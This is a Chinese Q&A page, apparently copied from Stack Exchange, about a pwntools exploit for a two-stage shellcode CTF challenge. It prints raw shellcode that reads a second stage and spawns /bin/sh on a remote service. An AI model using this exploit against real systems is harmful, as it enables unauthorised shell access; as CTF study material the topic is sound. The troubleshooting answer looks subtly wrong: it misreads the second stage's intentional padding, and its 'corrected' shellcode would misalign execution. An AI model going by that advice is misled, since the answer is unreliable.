基于Pwntools编写漏洞利用时远程遇Got EOF错误求助
远程执行两阶段Shellcode触发EOF错误排查
问题描述
正在学习基于Pwntools编写漏洞利用,完成某挑战时所有尝试均触发Got EOF while reading in interactive错误。本地调试时shellcode可正常执行execve('/bin/sh'),但远程服务器运行时失败。
因挑战限制采用两阶段shellcode方案:
- 第一阶段执行read系统调用,加载第二阶段shellcode
- 第二阶段shellcode覆盖之前的缓冲区,利用原
shellcode_aux的剩余空间存储/bin/sh路径
本地通过pwndbg调试显示execve系统调用已正确执行且路径无误,但远程执行失败,相关代码如下:
from pwn import * context.terminal = ['tmux','splitw','-h'] if "REMOTE" not in args: r = process("./multistage") gdb.attach(r, """ b *0x040123f c si si si si si si si si si """) input("wait") else: r = remote("(serverdir)", 2003) #FIRST CODE TO EXECUTE THE LATER SHELLCODE # mov rsi,rax # xor rax, rax # xor rdi, rdi # mov dl,0xff # syscall shellcode_aux = b"\x48\x89\xC6\x48\x31\xC0\x48\x31\xFF\xB2\xFF\x0F\x05" r.send(shellcode_aux) #ACTUAL SHELLCODE, since it is going to override the previous buffer, the order of instructions #will continue where the last buffer ended so we need to start our shellcode where the last one #left # mov rdi,rsi # xor rsi,rsi # xor rdx,rdx # add rdi,0x4 # mov rax,0x3b # syscall shellcode=b"\x48\x89\xC6\x48/bin/sh\x00\x00\x48\x89\xF7\x48\x31\xF6\x48\x31\xD2\x48\x83\xC7\x04\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05" r.send(shellcode) r.interactive()
排查与修复建议
1. 修正第二阶段Shellcode的关键指令错误
你的第二阶段shellcode存在明显逻辑错误:
- 注释中第一条指令应为
mov rdi,rsi(对应机器码\x48\x89\xF7),但实际shellcode开头写了\x48\x89\xC6(对应mov rsi,rax) - 第一阶段read系统调用结束后,
rsi仍指向缓冲区起始地址(read调用不会修改该寄存器),但rax是read的返回值(读取的字节数)。执行mov rsi,rax会把字节数赋值给rsi,后续mov rdi,rsi会让rdi指向错误地址(而非/bin/sh的位置),导致execve调用失败,进程直接退出触发EOF错误。
修正后的第二阶段shellcode应移除多余指令,并调整/bin/sh的偏移:
# 修正后的第二阶段shellcode:直接将rsi的值赋给rdi,指向/bin/sh的位置 shellcode = b"/bin/sh\x00\x48\x89\xF7\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"
2. 验证远程与本地的输入缓冲区大小差异
第一阶段shellcode中mov dl,0xff设置read读取长度为255字节,若远程环境的输入缓冲区实际容量更小,会导致第二阶段shellcode未完全写入或位置偏移。可尝试缩小read长度,或确保第二阶段shellcode长度不超过read设置的上限:
# 第一阶段shellcode修改dl的值为0x80(128字节) shellcode_aux = b"\x48\x89\xC6\x48\x31\xC0\x48\x31\xFF\xB2\x80\x0F\x05"
3. 调整远程环境的发送时机
远程环境中,程序可能还未执行到read系统调用就收到第二阶段shellcode,导致数据被错误解析。可添加延迟或等待程序输出(若有)后再发送第二阶段代码:
else: r = remote("(serverdir)", 2003) # 若程序有提示输出,先接收 # r.recvuntil("Enter payload:") r.send(shellcode_aux) time.sleep(0.5) # 等待程序进入read调用 r.send(shellcode)
4. 确认远程ASLR与内存布局影响
若远程开启了ASLR,本地与远程的缓冲区地址可能存在差异。需确保第二阶段shellcode中add rdi,0x4的偏移量与远程实际的/bin/sh存储位置完全匹配:
- 计算shellcode中
/bin/sh的起始位置距离rdi初始值(缓冲区地址)的偏移N,将add rdi,0x4改为add rdi,0x{N}。
内容的提问来源于stack exchange,提问作者Espartex200
相关产品推荐
相关产品推荐

